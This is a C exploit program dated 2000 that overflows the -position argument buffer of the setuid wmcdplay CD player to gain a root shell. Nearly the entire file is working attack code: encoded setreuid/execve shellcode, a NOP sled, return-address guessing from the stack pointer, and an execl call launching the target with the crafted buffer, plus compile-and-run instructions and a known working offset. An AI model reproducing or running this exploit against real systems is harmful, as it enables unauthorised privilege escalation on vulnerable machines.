/*Overflows the -position arg (position) buffer in wmcdplay due to a
 *bad sprintf call.
 *This seems to be how most of the command line arguments are called.
 *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org 
 *$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
 *offset 400 worked for me on Mandrake 7.0 
 *Credit: TESO Crew http://teso.scene.at/ for finding the original -d hole.
 */

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90                /*no operation skip to next instruction. */
#define LEN 1300                /*our buffersize. */

char shellcode[] =              /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
  "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
  "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
  "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
  "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
  "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
  "\xc2\x91";

/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
  __asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i;

  long retaddr = get_sp ();

  /*Fill the buffer with our new address to jump to esp + offset */
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr + atoi (argv[1]);

  /*copy the NOPs  in to the buffer leaving space for shellcode and pointers*/

  printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);

  for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
    *(buffer + i) = NOP;
  /*copy the shell code into the buffer*/
  memcpy (buffer + i, shellcode, strlen (shellcode));
  execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position", buffer, 0);
}
/*                    www.hack.co.za              [2000]*/